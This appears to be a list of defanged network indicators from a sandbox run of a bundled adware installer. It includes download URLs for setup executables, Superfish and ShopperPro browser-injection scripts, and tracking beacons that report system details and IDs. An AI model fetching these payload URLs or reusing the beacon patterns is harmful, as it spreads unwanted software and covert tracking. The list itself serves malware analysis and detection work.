hxxp://www.bigspeedpro.com/webplayer/flvplayer/flvplayer.ico
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBH5CtNBDuCd
hxxp://d1mvy92rurx48h.cloudfront.net/mirror/mystartsearch/default/setup.exe
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_b
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe
hxxp://www.appshat.com/images/64x64.ico
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1423540767&SBPIDS=1
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI2a8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG&product=EXTBHO&bhov=1.1.2.0&rnd=30199&action=Init&text=BHO version: 1.1.2.0. IE version: 10.0.9200.16521. DB name: yta_database1_0_0.json. DB version: 1.0.0.1&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=5
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1423540806
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?37332cae429e3908
hxxp://www.bigspeedpro.com/webplayer/flvplayer/html/jwplayer.js
hxxp://install-cdn.sourceapp.info/sd?is=sm
hxxp://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=iF2AwJSsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&apptitle=ShopperPro&channel=iF2AwJSsmtycl
hxxp://dl.newinputinfoservice.com/smt2b/all/hat/row/setup.exe
hxxp://download.filesfrog.com/software_files/flvplayer/1_0/FLVPlayerSetup.exe	212.7.199.182
hxxp://www.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish
hxxp://d2cnb4m0nke2lh.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=900&n=deploy_ff_start_funnel_step_name&rnd=1423540804
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=eISsn0A7mAaebxLgvS5H7g6hxqMAiseH3K6GAkJ5kE/8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU5kfatyEXGYuWLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y
hxxp://www.appshat.com/thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/b/bbbde9554589bda63791709a6785e0a3.png
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png
hxxp://flex.msn.com/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=	23.43.139.27
hxxp://www.bigspeedpro.com/webplayer/appshat/config.json
hxxp://www.appshat.com/js/scripts.js
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=1&index_in_screen=1&index_in_session=1&0.2570353844349387
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/d/5dbc29649669598ff43174b9ee730008.png
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/9/59982d8527c0da41e35817e8fc15c0fc.png
hxxp://install.sourceapp.info/if?alpha=fThCZHArGUU2TjMwbU5/fHwRaXB9ZE5MfUgLVnU1L2QIIzVoSSFNWz0pCxNhYTged1k/N3hrMGE/FiZmenM+bRgROAJ8cy9yDSIoQGlbSS9/JQFkOihqGhFyCSc1V2p7dBl7AVxZRhVofWcsZiBXMzVEDA48WGQ3FEplPnAtPjMHXkZmXAEodSAvOHldW3NTNmx8UmhqZj4BXn0JVkEjcntrAHJ8NkZAEBp6eUg2dHdcBW4BJBtkJm4+fEYuMi07TCZZdTcBeGgsel1jJQEmNQx3PSVSYnk0QUhLfW41VnkvPyBeJ3hPHRxGQTg5QnInJTMVaEhrEW8gZyMzbmE1OjJ9O1BXKmchKHg7EyI1BihUSC1pcQd2dTRjRkRgdUZQYDk5KkctKzhOUhQAfmRZZCEgPgRkTjsXfzMiIW9AY3ZyfT96BgVlQyQncjNZFHtWZG1JKi88IWt1L2hDCBNPBwRzL2J/QDR4LFIcEF5yM0gzZywnRy0NfUw6O2NsPhMyY3hnO2IMETsKeHcmY1B3cUU1Unc1bmYRKTwNQFBJMl5GJn8uPyxPLmVLVCFhfQZqKjtiej4zZEokHXkgEhoFHyxj
hxxp://fonts.gstatic.com/s/abel/v6/3YEwT2a1878zysq92S8_9w.eot	173.194.113.207
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=aQQpsP6/AW07SHxFqnYavIoO1eWHRXrJB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiScQhY67GlQ8RWdSCCrEc0hVpeWF2oQIshgCEqrXpIWd7HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9smoUR/DSN1Jzq8kbQMYE3PNCovy49GhxATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAEJ0Gc7l9cjZrwlpHkaAbnPAHiQ4E 2YtBf1T5uTw8yfL1Y92xkaJQOURgqahV TsfJKZ4NCKSCQ==	54.197.238.106
hxxp://www.appshat.com/css/product.css
hxxp://www.superfish.com/ws/js/base_single_icon.js?ver=2015.2.9.16.26
hxxp://www.appshat.com/images/16x16.ico
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=	23.43.139.27
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=KSz5qzb2KgKyCpK5vbxu3HgOOk4ct2L21JTL4xSx1FWRoZJTpqsyZ quxda/Dun3 g9ahKuAGPNHi3MQ4TbJKWmlb8i35eag9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdODaDkAUnC4/kfaS0xvxjr7Lp8bM2zq8UETt5/U4HLkXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaEpC43Yrp89RvUzp5P7xtxpmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7R0qlvkz/HCDJ/Wd udVl70m30CyQo1Eg	54.197.238.106
hxxp://www.superfish.com/ws/getUD.action?dlsource=viktczu&userId=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&ver=15.2.8
hxxp://stats.ourgendataservice.com/installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ClashProject&mdat=&procstarttime=1423540799&procruntime=2&rnd=1423540801
hxxp://www.googleadservices.com/pagead/conversion.js
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=	93.184.220.20
hxxp://www.appshat.com/thumbnails/icon/images/assets/c/c/cc3148e57a2928cd1ada1bbea553c3c2.png
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.5378999819481368
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540765&SBPIDS=1&KA=1
hxxp://www.appshat.com/thumbnails/icon/images/assets/a/6/a6ae526a0a22dcfc743a66d44a3e09e3.png
hxxp://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE
hxxp://www.superfish.com/ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported
hxxp://d4ekdi381yoqv.cloudfront.net/images/Tokyo/tokyo_sprite_full.png
hxxp://www.superfish.com/ws/retargeting/server_layer.js
hxxp://www.superfish.com/ws/retargeting/main.js?ver=2015.2.9.16.26
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=iF2AwJSsmtycl&name=ShopperPro
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js
hxxp://www.googleadservices.com/pagead/conversion/971163981/?random=1423540823357&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe
hxxp://www.superfish.com/ws/css/main.css?v=2015.2.9.16.26
hxxp://www.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.8068088476698185
hxxp://www.superfish.com/ws/slideup2/main.js?ver=2015.2.9.16.26
hxxp://www.appshat.com/thumbnails/icon/images/assets/4/f/4f263f4be4c4396c9078d1874c05b928.png
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=300&n=deploy_start_funnel_step_name&rnd=1423540802
hxxp://www.youtubeaccelerator.com/googleanalytics.js
hxxp://pix.youtubeaccelerator.com/YTAFinishInstall.gif
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.36364095208215385
hxxp://www.superfish.com/ws/sf_preloader.jsp?dlsource=viktczu&userId=e5f8ccfa064a4525b9099b89e346b6d9&partnername=ShopperPro&CTID=xUSIF2Awsmtycl&ver=2015.2.9.16.26
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=	23.43.139.27
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl
hxxp://www.appshat.com/thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png
hxxp://www.superfish.com/ws/sf_code.jsp?dlsource=viktczu&userid=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&partnername=pelmmbomol&CTID=xUSIF2Awsmtycl&ver=2015.2.9.16.26
hxxp://www.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE
hxxp://www.appshat.com/js/lightbox.js
hxxp://www.appshat.com/thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=1&index_in_screen=1&index_in_session=1&0.831503041393203
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_a
hxxp://install.sourceapp.info/mg?alpha=cEYhZkZrXEBkPDJ DkxJTw9jdUMuIzdIbRd8ZA==
hxxp://www.appshat.com/thumbnails/banner/images/assets/7/f/7fb9f4ca0fa96299334c18ee76c7b68b.jpg
hxxp://www.appshat.com/images/5.0stars.jpg
hxxp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://www.youtubeaccelerator.com/styles/yta.css?v=1
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1423540803
hxxp://www.bigspeedpro.com/webplayer/flvplayer/html/images/btn.png
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=eFCD8T/coifCDzC3dWmgsjg2g5AFJwuPhmsPSIwNtx5dOfUh X e3KWVb3f653Ub2yLvqUuoT2b669uXeODcaUuDZbxKNz6N3xwxIY7FNY5m5LT87ehXavGh154/D7lxR1Rpsdyw5pJf2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOpfGsaHjTJJ OkhFwjO/Ynn73orNtwzTOp2kELh2lx9D 3u2eZStggbd Wx/3k3O9M9xHVjdaZ6/n0qRcYyYHfe9rliyyc3QirmuNRKejbyt1Cae/43hSAfNpMXUrP3YPcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXtLdVKK0d9mo0berm3dqCKtYPIZZ9UBD9PKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNzUMs7J9kDMQQ=
hxxp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://www.appshat.com/thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRqKMB9u4RTbHQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKeHo6FOnjNt3Tp8VZQ/4p3GivYS/d2rWv9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdODaDkAUnC4/kfaS0xvxjr7Lp8bM2zq8UETt5/U4HLkXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaEpC43Yrp89RvUzp5P7xtxpmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7R0qlvkz/HCA=	54.197.238.106
hxxp://online.GOOBZO.com/online/Report.aspx
hxxp://www.appshat.com/home
hxxp://www.inixggda.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe	50.23.120.57
hxxp://www.youtubeaccelerator.com/js/jquery-1.8.3.min.js
hxxp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/f5daecd74e316e46a59f4bd1d5099978?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=f5daecd74e316e46a59f4bd1d5099978&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://www.google-analytics.com/r/collect?v=1&_v=j32&a=2122274577&t=pageview&_s=1&dl=http://www.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=MEAAAAgAI~&jid=284198992&cid=1848384720.1423540812&tid=UA-42656881-1&_r=1&z=356763116
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.1812382685800079
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/f/1f8ffa22b53dfc2f6b7f1850bb6b73e8.png
hxxp://www.appshat.com/thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png
hxxp://ajax.googleapis.com/ajax/libs/jqueryui/1.10.3/jquery-ui.min.js
hxxp://www.appshat.com/thumbnails/icon/images/assets/f/3/f3ad8b396434c21b4c214fd667ee391d.png
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/k6kR j50tq2T48fwpLktHFA8SMhVDHu5xbIj7nK9dCovKrJ6qtuelLEqfJll8EjZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW1gKkdlz1lRob0AS4HDB5HfWjwfqp7MHxGpMWXGXOfhUiXwmSZn9bL3CkMpf9re0fn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXX29hXkrzRmBpq73FZdDH/8=	54.197.238.106
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/a/da84c206c2019448521379d2ff837774.png
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1423540807
hxxp://www.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.7124251602986185
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?0dd95828501dc5be
hxxp://logs.ourgendataservice.com/monetization.gif?event=3&ibic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1423540799&asw=0_1073750533_-2147475456_0&browser=ff&rnd=1423540799
hxxp://www.appshat.com/thumbnails/icon/images/assets/d/5/d586df222f5069b6c396373d67d0163b.png
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=2&index_in_screen=1&index_in_session=2&0.786470066242579
hxxp://clients1.google.com/ocsp
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1
hxxp://www.appshat.com/images/4.0stars.jpg
hxxp://www.youtubeaccelerator.com/favicon.ico
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.1977497756824642
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=XJYuqQQo69dlDHo/mcV/cR/19ZKgNBaI/T7vGnIrRllP XtorcoTKgxB9pWV4xt1MyRsTHPDdAhxgnfs KRSGXtmD8Dkx2dt2o5ApaNqnksNP54lXZxmkqCYJrC2d5/WmvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolB7VfxlfOj3AprKaRosA0sEv7z7MjTyjNiO3DXOJ1i6Kt 8c0UlQNB3cBTI8phW9IJGY9nEp85gJKsZRioLt78DHwtQGc0oJaxlp5CEEgFYW3dKsOukXQQd9FdfhVHQzGAE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93DG2fyXpvPO0S3k08LxhX7SrH0X1 ausfR5TX6K4Kv027USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B 050YsHrGqFtmnzicG6yEv4=
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=4&index_in_screen=1&index_in_session=4&0.6678788560967368
hxxp://crl.globalsign.net/root-r3.crl
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.2&utms=1&utmn=363328282&utmhn=bi.bisrv.com&utmhid=1253900279&utmr=-&utmp=Installer_Init&utmht=1423540684596&utmac=UA-31676879-1&utmcc=__utma=1.576676510.1423540685.1423540685.1423540685.1;+__utmz=1.1423540685.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=199145764&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://www.appshat.com/images/3.0stars.jpg
hxxp://www.appshat.com/thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png
hxxp://install.sourceapp.info/mg?alpha=aU4RaDElfCMzdycKPkI+aApCZTFpCBMZOB0iYl9caR9QeT1IRgwaWB0OEBxkNC4JTzhpSw0ecXA9NEIhekYrZUQRGQ0nOjl4QzZrVi9y
hxxp://www.appshat.com/images/4.5stars.jpg
hxxp://stats.ourgendataservice.com/apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1423540799&lifetime=0&silent=1&crtnm=ClashProject&procstarttime=1423540799&procruntime=10&rnd=1423540809
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_d
hxxp://dl.ourgendataservice.com/smt2b/all/hat/row/setup.exe_e
hxxp://crl.globalsign.net/root.crl
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?635717edfefce2e9
hxxp://www.appshat.com/css/style.css
hxxp://cdn.visadd.com/script/layer.js?pid=14567725608&ln=en
hxxp://www.appshat.com/js/jquery.smooth-scroll.min.js
